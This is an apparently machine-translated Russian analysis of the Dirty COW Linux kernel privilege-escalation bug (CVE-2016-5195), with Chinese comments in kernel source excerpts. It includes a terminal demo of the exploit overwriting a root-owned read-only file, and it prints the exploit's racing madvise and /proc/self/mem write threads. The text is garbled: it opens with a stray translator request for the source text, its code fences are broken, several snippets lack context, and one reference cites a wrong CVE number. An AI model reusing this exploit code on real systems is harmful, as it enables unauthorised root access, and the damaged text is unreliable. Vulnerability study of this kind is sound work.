Пожалуйста, предоставьте исходный Markdown-текст для перевода.```
$ sudo su
# echo "READ ONLY" > flag.txt
# chmod 0404 flag.txt
# exit
$
$ ll flag.txt 
-r-----r-- 1 root root 10 flag.txt
$ echo "aaaaaa" > flag.txt
Permission Denied
$
$ gcc -pthread dirty.c -o dirty
$ ./dirty flag.txt aaaaaa
mmap 7f1a35bc4000

procselfmem -2094967296

madvise 0
$ cat flag.txt
aaaaaa

- Сначала вызов pthread для создания двух потоков
- Затем `fopen` открывает целевой файл `argv[1]` только для чтения
- Файл отображается в память с помощью `mmap` (адрес случайный), `MAP_PRIVATE` используется для создания приватного отображения памяти для задачи. Если другая задача попытается записать в эту память, процесс сначала создаст копию перед записью, что позволяет избежать больших затрат времени и пространства на копирование всей памяти при порождении дочерних процессов или потоков, и при этом обеспечивает независимость параллельных операций с памятью между задачами — это механизм Copy-On-Write.
- Затем запускаются два потока: один выполняет `madviseThread`, другой — `procselfmemThread`

Теперь рассмотрим тела двух потоков:

- Один поток вызывает `madvise` для отображения файла, сообщая ядру об использовании отображаемой памяти или разделяемой памяти. `MADV_DONTNEED` означает, что эта область памяти больше не нужна, и ядро может освободить её.
- Другой поток открывает `/proc/self/mem` с правами чтения и записи — это файловое отображение виртуальной памяти самого процесса, и непрерывно пытается записать целевую информацию в этот файл.```c
void *madviseThread(void *arg) {
  char *str;
  str = (char*)arg;
  int i, c = 0;
  for(i = 0; i < 100000000; i++) {
    c += madvise(map, 100, MADV_DONTNEED);
  }
  printf("madvise %d\n\n", c);
}
 
void *procselfmemThread(void *arg) {
  char *str;
  str = (char*)arg;

  int f = open("/proc/self/mem", O_RDWR);
  int i, c = 0;
  for(i = 0; i < 100000000; i++) {
    lseek(f, (uintptr_t)map, SEEK_SET);
    c += write(f, str, strlen(str));
  }
  printf("procselfmem %d\n\n", c);
}

`mem_write` является обёрткой над `mem_rw` (флаг `write` установлен в 1). Основной поток `mem_rw`:

- Сначала `__get_free_page` запрашивает временную свободную страницу в качестве буфера.
- Если это операция записи, то вызывается `copy_from_user` для копирования данных, которые нужно записать, на временную страницу.
- Затем `access_remote_vm` читает целевые данные на свободную страницу (чтение) или записывает содержимое буфера по целевому адресу (запись).
  - Термин "remote" здесь означает, что текущий процесс может читать или записывать файлы, отображённые в память других процессов, что подразумевает возможность доступа к адресному пространству другого процесса. Это отличает данную файловую систему от других memory filesystem.
- Если это операция чтения, то данные, прочитанные на предыдущем шаге на свободную страницу, записываются обратно в пользовательский буфер.```c
static ssize_t mem_rw(struct file *file, char __user *buf,
			size_t count, loff_t *ppos, int write)
{
	struct mm_struct *mm = file->private_data;
	unsigned long addr = *ppos;
	ssize_t copied;
	char *page;

	if (!mm)
		return 0;

	page = (char *)__get_free_page(GFP_TEMPORARY);	// 申请临时空闲页面
	if (!page)
		return -ENOMEM;

	copied = 0;
	if (!atomic_inc_not_zero(&mm->mm_users))
		goto free;

	while (count > 0) {
		int this_len = min_t(int, count, PAGE_SIZE);	// 本次读取/写入数据长度，单次最大为PAGE_SIZE

		if (write && copy_from_user(page, buf, this_len)) {		// 若是写操作，从用户空间拷贝待写数据到临时空闲页面
			copied = -EFAULT;
			break;
		}

		this_len = access_remote_vm(mm, addr, page, this_len, write);	// 读取/写入数据到临时空闲页面
		if (!this_len) {
			if (!copied)
				copied = -EIO;
			break;
		}

		if (!write && copy_to_user(buf, page, this_len)) {	// 若是读操作，将读取到的数据从临时空闲页面拷贝数据到用户空间
			copied = -EFAULT;
			break;
		}

		buf += this_len;
		addr += this_len;
		copied += this_len;
		count -= this_len;
	}
	*ppos = addr;

	mmput(mm);
free:
	free_page((unsigned long) page);	// 释放临时空闲页面
	return copied;
}

		maddr = kmap(page);		// 映射page到内核空间，因为我们获取的是page结构体，需要映射到一个虚拟地址之后才能进行写入
		if (write) {	// 如果是写操作
			copy_to_user_page(vma, page, addr,		// 将buf的数据拷贝到page中，完成写入
					  maddr + offset, buf, bytes);
			set_page_dirty_lock(page);	// 设置页面为脏页
		} else {		// 如果是读操作
			copy_from_user_page(vma, page, addr,
					    buf, maddr + offset, bytes);
		}
		kunmap(page);
		page_cache_release(page);
	}
	len -= bytes;
	buf += bytes;
	addr += bytes;
}
up_read(&mm->mmap_sem);

return buf - old_buf;

##### __get_user_pages

Выше был представлен обзор операций чтения/записи procfs. Далее начнём с `get_user_pages`.

`get_user_pages` — это обёртка над `__get_user_pages_locked`, которая, в свою очередь, вызывает `__get_user_pages` — основную логику. Её процесс следующий:

- Сначала перебирает страницы для работы и выполняет предварительную подготовку, включая установку битовой маски разрешений `foll_flags` для каждой страницы.
- Если это первая итерация или начальный адрес больше базового адреса текущего vma, `find_extend_vma` получает vma, содержащую начальный адрес.
- Если процесс не получил или заблокировал фатальный сигнал, `follow_page_mask` получает `struct page` физической страницы, соответствующей виртуальному адресу.
  - Обычно страницы не находятся в памяти, то есть первый доступ к странице вызывает страничный сбой (page fault).
  - Кроме того, если нет разрешения на операции с этой страницей, это также вызовет исключение.
  - Также есть другие причины: OOM, аппаратный сбой и т. д. — здесь они не рассматриваются.
- Если получить страницу не удалось и это не ошибка (возвращается 0), вызывается `faultin_page` для обработки исключения страничного сбоя. После успешной обработки возвращается к `follow_page_mask` для повторной попытки получения страницы.```c
long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
		unsigned long start, unsigned long nr_pages,
		unsigned int gup_flags, struct page **pages,
		struct vm_area_struct **vmas, int *nonblocking)
{
	long i = 0;
	unsigned int page_mask;
	struct vm_area_struct *vma = NULL;

	if (!nr_pages)
		return 0;

	VM_BUG_ON(!!pages != !!(gup_flags & FOLL_GET));

	/*
	 * If FOLL_FORCE is set then do not force a full fault as the hinting
	 * fault information is unrelated to the reference behaviour of a task
	 * using the address space
	 */
	if (!(gup_flags & FOLL_FORCE))
		gup_flags |= FOLL_NUMA;

	do {
		struct page *page;
		unsigned int foll_flags = gup_flags;
		unsigned int page_increm;

		/* first iteration or cross vma bound */
		if (!vma || start >= vma->vm_end) {		// 若vma为空（第一次迭代）或者start超出vma的范围
			vma = find_extend_vma(mm, start);	// 查找start所在的vma
			if (!vma && in_gate_area(mm, start)) {
				int ret;
				ret = get_gate_page(mm, start & PAGE_MASK,
						gup_flags, &vma,
						pages ? &pages[i] : NULL);
				if (ret)
					return i ? : ret;
				page_mask = 0;
				goto next_page;
			}

			if (!vma || check_vma_flags(vma, gup_flags))
				return i ? : -EFAULT;
			if (is_vm_hugetlb_page(vma)) {
				i = follow_hugetlb_page(mm, vma, pages, vmas,
						&start, &nr_pages, i,
						gup_flags);
				continue;
			}
		}
retry:
		/*
		 * If we have a pending SIGKILL, don't keep faulting pages and
		 * potentially allocating memory.
		 */
		if (unlikely(fatal_signal_pending(current)))
			return i ? i : -ERESTARTSYS;
		cond_resched();
		page = follow_page_mask(vma, start, foll_flags, &page_mask);	// 获取虚拟地址对应的物理页的page struct
		if (!page) {	// 获取失败，可能是没有对应页，也可能是没有相应操作权限
			int ret;
			ret = faultin_page(tsk, vma, start, &foll_flags,	// 处理缺页异常，COW机制建映射得到一个新的可写的anon page
					nonblocking);								// 若没有写权限其会取消掉foll_flags中的写标志并返回0
			switch (ret) {
			case 0:		// 缺页异常处理成功，重新尝试获取page
				goto retry;
			case -EFAULT:
			case -ENOMEM:
			case -EHWPOISON:
				return i ? i : ret;
			case -EBUSY:
				return i;
			case -ENOENT:
				goto next_page;
			}
			BUG();
		} else if (PTR_ERR(page) == -EEXIST) {
			/*
			 * Proper page table entry exists, but no corresponding
			 * struct page.
			 */
			goto next_page;
		} else if (IS_ERR(page)) {
			return i ? i : PTR_ERR(page);
		}
		if (pages) {
			pages[i] = page;
			flush_anon_page(vma, page, start);
			flush_dcache_page(page);
			page_mask = 0;
		}
next_page:
		if (vmas) {
			vmas[i] = vma;
			page_mask = 0;
		}
		page_increm = 1 + (~(start >> PAGE_SHIFT) & page_mask);
		if (page_increm > nr_pages)
			page_increm = nr_pages;
		i += page_increm;
		start += page_increm * PAGE_SIZE;
		nr_pages -= page_increm;
	} while (nr_pages);		// 直到所有的页都处理完毕
	return i;
}
EXPORT_SYMBOL(__get_user_pages);

ptep = pte_offset_map_lock(mm, pmd, address, &ptl);
pte = *ptep;
if (!pte_present(pte)) {
	swp_entry_t entry;
	/*
	 * KSM's break_ksm() relies upon recognizing a ksm page
	 * even while it is being migrated, so for that case we
	 * need migration_entry_wait().
	 */
	if (likely(!(flags & FOLL_MIGRATION)))
		goto no_page;
	if (pte_none(pte))
		goto no_page;
	entry = pte_to_swp_entry(pte);
	if (!is_migration_entry(entry))
		goto no_page;
	pte_unmap_unlock(ptep, ptl);
	migration_entry_wait(mm, pmd, address);
	goto retry;
}
if ((flags & FOLL_NUMA) && pte_protnone(pte))
	goto no_page;
if ((flags & FOLL_WRITE) && !pte_write(pte)) {	// 欲执行写操作，但是没有写权限
	pte_unmap_unlock(ptep, ptl);
	return NULL;
}

page = vm_normal_page(vma, address, pte);	// 获取page struct
if (unlikely(!page)) {
	if (flags & FOLL_DUMP) {
		/* Avoid special (like zero) pages in core dumps */
		page = ERR_PTR(-EFAULT);
		goto out;
	}

	if (is_zero_pfn(pte_pfn(pte))) {
		page = pte_page(pte);
	} else {
		int ret;

		ret = follow_pfn_pte(vma, address, ptep, flags);
		page = ERR_PTR(ret);
		goto out;
	}
}

if (flags & FOLL_GET)
	get_page_foll(page);
if (flags & FOLL_TOUCH) {
	if ((flags & FOLL_WRITE) &&
	    !pte_dirty(pte) && !PageDirty(page))
		set_page_dirty(page);
	/*
	 * pte_mkyoung() would be more correct here, but atomic care
	 * is needed to avoid losing the dirty bit: it is easier to use
	 * mark_page_accessed().
	 */
	mark_page_accessed(page);
}
if ((flags & FOLL_MLOCK) && (vma->vm_flags & VM_LOCKED)) {
	/*
	 * The preliminary mapping check is mainly to avoid the
	 * pointless overhead of lock_page on the ZERO_PAGE
	 * which might bounce very badly if there is contention.
	 *
	 * If the page is already locked, we don't need to
	 * handle it now - vmscan will handle it later if and
	 * when it attempts to reclaim the page.
	 */
	if (page->mapping && trylock_page(page)) {
		lru_add_drain();  /* push cached pages to LRU */
		/*
		 * Because we lock page here, and migration is
		 * blocked by the pte's page reference, and we
		 * know the page is still mapped, we don't even
		 * need to check for file-cache page truncation.
		 */
		mlock_vma_page(page);
		unlock_page(page);
	}
}

##### faultin_page

`faultin_page` аналогично, после установки флагов вызывает `handle_mm_fault`, официально входя в процесс обработки ошибок страниц, что будет раскрыто позже.```c
static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,
		unsigned long address, unsigned int *flags, int *nonblocking)
{
	struct mm_struct *mm = vma->vm_mm;
	unsigned int fault_flags = 0;
	int ret;

	/* mlock all present pages, but do not fault in new pages */
	if ((*flags & (FOLL_POPULATE | FOLL_MLOCK)) == FOLL_MLOCK)
		return -ENOENT;
	/* For mm_populate(), just skip the stack guard page. */
	if ((*flags & FOLL_POPULATE) &&
			(stack_guard_page_start(vma, address) ||
			 stack_guard_page_end(vma, address + PAGE_SIZE)))
		return -ENOENT;
	if (*flags & FOLL_WRITE)	// 欲执行写操作
		fault_flags |= FAULT_FLAG_WRITE;
	if (nonblocking)
		fault_flags |= FAULT_FLAG_ALLOW_RETRY;
	if (*flags & FOLL_NOWAIT)
		fault_flags |= FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_RETRY_NOWAIT;
	if (*flags & FOLL_TRIED) {
		VM_WARN_ON_ONCE(fault_flags & FAULT_FLAG_ALLOW_RETRY);
		fault_flags |= FAULT_FLAG_TRIED;
	}

	ret = handle_mm_fault(mm, vma, address, fault_flags);	// 处理缺页异常
	if (ret & VM_FAULT_ERROR) {
		if (ret & VM_FAULT_OOM)
			return -ENOMEM;
		if (ret & (VM_FAULT_HWPOISON | VM_FAULT_HWPOISON_LARGE))
			return *flags & FOLL_HWPOISON ? -EHWPOISON : -EFAULT;
		if (ret & (VM_FAULT_SIGBUS | VM_FAULT_SIGSEGV))
			return -EFAULT;
		BUG();
	}

	if (tsk) {
		if (ret & VM_FAULT_MAJOR)
			tsk->maj_flt++;
		else
			tsk->min_flt++;
	}

	if (ret & VM_FAULT_RETRY) {
		if (nonblocking)
			*nonblocking = 0;
		return -EBUSY;
	}

	/*
	 * The VM_FAULT_WRITE bit tells us that do_wp_page has broken COW when
	 * necessary, even if maybe_mkwrite decided not to set pte_write. We
	 * can thus safely do subsequent page lookups as if they were reads.
	 * But only do so when looping for pte_write is futile: in some cases
	 * userspace may also be wanting to write to the gotten user page,
	 * which a read fault here might prevent (a readonly page might get
	 * reCOWed by userspace write).
	 */
	if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))	// 若vma不可写，但是缺页异常处理成功，且需要写操作
		*flags &= ~FOLL_WRITE;	// 清除写操作标志，否则会在__get_user_pages中返回不断retry
	return 0;
}

#### Dive into Page Fault

##### handle_mm_fault

Ранее мы остановились на `faultin_page`, теперь продолжаем углубляться, начиная с `handle_mm_fault`.```c
int handle_mm_fault(struct mm_struct *mm, struct vm_area_struct *vma,
		    unsigned long address, unsigned int flags)
{
	int ret;

	__set_current_state(TASK_RUNNING);	// 在处理完缺页异常后进程需要继续运行，保持TASK_RUNNING状态

	count_vm_event(PGFAULT);
	mem_cgroup_count_vm_event(mm, PGFAULT);

	/* do counter updates before entering really critical section. */
	check_sync_rss_stat(current);

	/*
	 * Enable the memcg OOM handling for faults triggered in user
	 * space.  Kernel faults are handled more gracefully.
	 */
	if (flags & FAULT_FLAG_USER)
		mem_cgroup_oom_enable();	// 使能内存控制组的OOM处理

	ret = __handle_mm_fault(mm, vma, address, flags);	// handle的真正入口

	if (flags & FAULT_FLAG_USER) {	// 如果是用户态的缺页异常
		mem_cgroup_oom_disable();	// 禁用内存控制组的OOM处理
                /*
                 * The task may have entered a memcg OOM situation but
                 * if the allocation error was handled gracefully (no
                 * VM_FAULT_OOM), there is no need to kill anything.
                 * Just clean up the OOM state peacefully.
                 */
                if (task_in_memcg_oom(current) && !(ret & VM_FAULT_OOM))	// 如果进程处于内存控制组的OOM状态，但没有OOM错误
                        mem_cgroup_oom_synchronize(false);	// 清理OOM状态即可
	}

	return ret;
}
EXPORT_SYMBOL_GPL(handle_mm_fault);

if (unlikely(is_vm_hugetlb_page(vma)))	// hugepage
	return hugetlb_fault(mm, vma, address, flags);

pgd = pgd_offset(mm, address);		// (mm)->pgd + (address)>>PGDIR_SHIFT
pud = pud_alloc(mm, pgd, address);	// 获取pud指针
if (!pud)
	return VM_FAULT_OOM;	// out of memory
pmd = pmd_alloc(mm, pud, address);	// 获取pmd指针
if (!pmd)
	return VM_FAULT_OOM;
if (pmd_none(*pmd) && transparent_hugepage_enabled(vma)) {	// 透明大页
	int ret = create_huge_pmd(mm, vma, address, pmd, flags);
	if (!(ret & VM_FAULT_FALLBACK))
		return ret;
} else {
	pmd_t orig_pmd = *pmd;
	int ret;

	barrier();	// 内存屏障，确保orig_pmd的读取顺序不会被编译器优化，保证读取的是最新的pmd值
	if (pmd_trans_huge(orig_pmd)) {		// 透明大页
		unsigned int dirty = flags & FAULT_FLAG_WRITE;

		/*
		 * If the pmd is splitting, return and retry the
		 * the fault.  Alternative: wait until the split
		 * is done, and goto retry.
		 */
		if (pmd_trans_splitting(orig_pmd))
			return 0;

		if (pmd_protnone(orig_pmd))
			return do_huge_pmd_numa_page(mm, vma, address,
						     orig_pmd, pmd);

		if (dirty && !pmd_write(orig_pmd)) {
			ret = wp_huge_pmd(mm, vma, address, pmd,
						orig_pmd, flags);
			if (!(ret & VM_FAULT_FALLBACK))
				return ret;
		} else {
			huge_pmd_set_accessed(mm, vma, address, pmd,
					      orig_pmd, dirty);
			return 0;
		}
	}
}

/*
 * Use __pte_alloc instead of pte_alloc_map, because we can't
 * run pte_offset_map on the pmd, if an huge pmd could
 * materialize from under us from a different thread.
 */
if (unlikely(pmd_none(*pmd)) &&
    unlikely(__pte_alloc(mm, vma, pmd, address)))
	return VM_FAULT_OOM;
/*
 * If a huge pmd materialized under us just retry later.  Use
 * pmd_trans_unstable() instead of pmd_trans_huge() to ensure the pmd
 * didn't become pmd_trans_huge under us and then back to pmd_none, as
 * a result of MADV_DONTNEED running immediately after a huge pmd fault
 * in a different thread of this mm, in turn leading to a misleading
 * pmd_trans_huge() retval.  All we have to ensure is that it is a
 * regular pmd that we can walk with pte_offset_map() and we can do that
 * through an atomic read in C, which is what pmd_trans_unstable()
 * provides.
 */
if (unlikely(pmd_trans_unstable(pmd)))
	return 0;
/*
 * A regular pmd is established and it can't morph into a huge pmd
 * from under us anymore at this point because we hold the mmap_sem
 * read mode and khugepaged takes it in write mode. So now it's
 * safe to run pte_offset_map().
 */
pte = pte_offset_map(pmd, address);		// 获取pte指针，这也是这个wrap的最终的目标

return handle_pte_fault(mm, vma, address, pte, pmd, flags);		// 进入page fault处理

##### handle_pte_fault

Процесс `handle_pte_fault` следующий, ключевые функции — `do_fault` и `do_wp_page`

- Сначала проверяется, равен ли pte нулю. Если да, это означает, что процесс впервые обращается к странице
  - Если обращение идёт к анонимной странице, вызывается `do_anonymous_page`
  - Если обращение идёт к неанонимной странице, вызывается `do_fault`
  - После этого сразу возвращается
- Если страница находится в памяти (т.е. ранее уже была обращение), то после некоторых проверок, если page fault вызван операцией записи
  - Если нет прав на запись, вызывается `do_wp_page`
  - Если права на запись есть, устанавливается бит грязи для pte```c
static int handle_pte_fault(struct mm_struct *mm,
		     struct vm_area_struct *vma, unsigned long address,
		     pte_t *pte, pmd_t *pmd, unsigned int flags)
{
	pte_t entry;
	spinlock_t *ptl;	// 页表自旋锁

	/*
	 * some architectures can have larger ptes than wordsize,
	 * e.g.ppc44x-defconfig has CONFIG_PTE_64BIT=y and CONFIG_32BIT=y,
	 * so READ_ONCE or ACCESS_ONCE cannot guarantee atomic accesses.
	 * The code below just needs a consistent view for the ifs and
	 * we later double check anyway with the ptl lock held. So here
	 * a barrier will do.
	 */
	entry = *pte;
	barrier();
	if (!pte_present(entry)) {	// 页表项不在内存中（page fault第一次）
		if (pte_none(entry)) {	// 页表项为空，进程第一次访问该页面
			if (vma_is_anonymous(vma))	// 没有设置vma->vm_ops，即为匿名页面（即不是文件映射）
				return do_anonymous_page(mm, vma, address,
							 pte, pmd, flags);
			else
				return do_fault(mm, vma, address, pte, pmd,		// 若为文件映射页面
						flags, entry);
		}
		return do_swap_page(mm, vma, address,	// 页表项不为空，将页面swap进内存
					pte, pmd, flags, entry);
	}

	if (pte_protnone(entry))	// 页表项为保护页
		return do_numa_page(mm, vma, address, entry, pte, pmd);	// NUMA

	ptl = pte_lockptr(mm, pmd);	// 页表自旋锁，此时页面已经在内存中
	spin_lock(ptl);
	if (unlikely(!pte_same(*pte, entry)))	// 并发检查
		goto unlock;
	if (flags & FAULT_FLAG_WRITE) {	// page fault是由写操作引发
		if (!pte_write(entry))		// 页不可写
			return do_wp_page(mm, vma, address,	// COW
					pte, pmd, ptl, entry);
		entry = pte_mkdirty(entry);	// 页可写，设置为脏页
	}
	entry = pte_mkyoung(entry);
	if (ptep_set_access_flags(vma, address, pte, entry, flags & FAULT_FLAG_WRITE)) {
		update_mmu_cache(vma, address, pte);
	} else {
		/*
		 * This is needed only for protection faults but the arch code
		 * is not yet telling us if this is a protection fault or not.
		 * This still avoids useless tlb flushes for .text page faults
		 * with threads.
		 */
		if (flags & FAULT_FLAG_WRITE)
			flush_tlb_fix_spurious_fault(vma, address);
	}
unlock:
	pte_unmap_unlock(pte, ptl);
	return 0;
}

##### do_cow_fault

Процесс `do_cow_fault` примерно следующий:

- Сначала вызывается `alloc_page_vma` для выделения новой физической страницы `new_page`.
- Проверяется, не произошёл ли OOM.
- Затем `__do_fault` читает данные из файла на другую страницу `fault_page`, по сути вызывая функцию `fault`, привязанную к `vma->vm_ops`.
- `copy_user_highpage` копирует данные из `fault_page` в `new_page` – эта функция по сути является обёрткой для `memcpy`.
- `do_set_pte` устанавливает pte для страницы с атрибутами: доступна для записи, анонимная страница.```c
static int do_cow_fault(struct mm_struct *mm, struct vm_area_struct *vma,
		unsigned long address, pmd_t *pmd,
		pgoff_t pgoff, unsigned int flags, pte_t orig_pte)
{
	struct page *fault_page, *new_page;
	struct mem_cgroup *memcg;
	spinlock_t *ptl;
	pte_t *pte;
	int ret;

	if (unlikely(anon_vma_prepare(vma)))
		return VM_FAULT_OOM;

	new_page = alloc_page_vma(GFP_HIGHUSER_MOVABLE, vma, address);	// 为新页分配物理内存。VMA的表示粒度是4k
	if (!new_page)
		return VM_FAULT_OOM;

	if (mem_cgroup_try_charge(new_page, mm, GFP_KERNEL, &memcg)) {	// 检查当前进程使用的内存是否超过了cgroup的限制
		page_cache_release(new_page);	// 释放COW的新页
		return VM_FAULT_OOM;	// 返回OOM错误，COW失败
	}

	ret = __do_fault(vma, address, pgoff, flags, new_page, &fault_page);	// 从文件中读取数据到fault_page
	if (unlikely(ret & (VM_FAULT_ERROR | VM_FAULT_NOPAGE | VM_FAULT_RETRY)))
		goto uncharge_out;

	if (fault_page)	// 读取成功
		copy_user_highpage(new_page, fault_page, address, vma);	// 将fault_page的数据拷贝到new_page中，实际调用memcpy
	__SetPageUptodate(new_page);

	pte = pte_offset_map_lock(mm, pmd, address, &ptl);
	if (unlikely(!pte_same(*pte, orig_pte))) {	// 并发检查
		pte_unmap_unlock(pte, ptl);
		if (fault_page) {
			unlock_page(fault_page);
			page_cache_release(fault_page);
		} else {
			/*
			 * The fault handler has no page to lock, so it holds
			 * i_mmap_lock for read to protect against truncate.
			 */
			i_mmap_unlock_read(vma->vm_file->f_mapping);
		}
		goto uncharge_out;
	}
	do_set_pte(vma, address, new_page, pte, true, true);	// 设置新页的PTE，该页为可写匿名页
	mem_cgroup_commit_charge(new_page, memcg, false);
	lru_cache_add_active_or_unevictable(new_page, vma);
	pte_unmap_unlock(pte, ptl);
	if (fault_page) {
		unlock_page(fault_page);
		page_cache_release(fault_page);
	} else {
		/*
		 * The fault handler has no page to lock, so it holds
		 * i_mmap_lock for read to protect against truncate.
		 */
		i_mmap_unlock_read(vma->vm_file->f_mapping);
	}
	return ret;
uncharge_out:
	mem_cgroup_cancel_charge(new_page, memcg);
	page_cache_release(new_page);
	return ret;
}

## Ссылки

- [Подробный разбор обработки ошибок страниц в Linux — иллюстрированная Page Faults](https://www.cnblogs.com/binlovetech/p/17918733.html)
- [Суть отображения памяти mmap с точки зрения ядра (реализация исходного кода)](https://www.cnblogs.com/binlovetech/p/17754173.html)
- [Анализ и воспроизведение уязвимости CVE-2016-5195](https://xz.aliyun.com/t/7561?time__1311=n4%2BxnD0G0%3D14gDBqPod4iIQ0I%3DD5G80ePD&alichlgref=https%3A%2F%2Fwww.google.com%2F#toc-7)
- [【Анализ уязвимости】CVE-2016-5195 Dirtycow: анализ уязвимости повышения привилегий в ядре Linux](https://www.anquanke.com/post/id/84784)
- [Анализ процесса обработки ошибок страниц в Linux и анализ CVE-2021-5195](https://www.anquanke.com/post/id/290851)
- [Подборка материалов по критической уязвимости Dirtycow в Linux](https://zhuanlan.zhihu.com/p/25918300)
- [Бегущий по Linux ядру](https://xuanxuanblingbling.github.io/assets/attachment/奔跑吧-linux内核-内存管理-DirtyCow.pdf)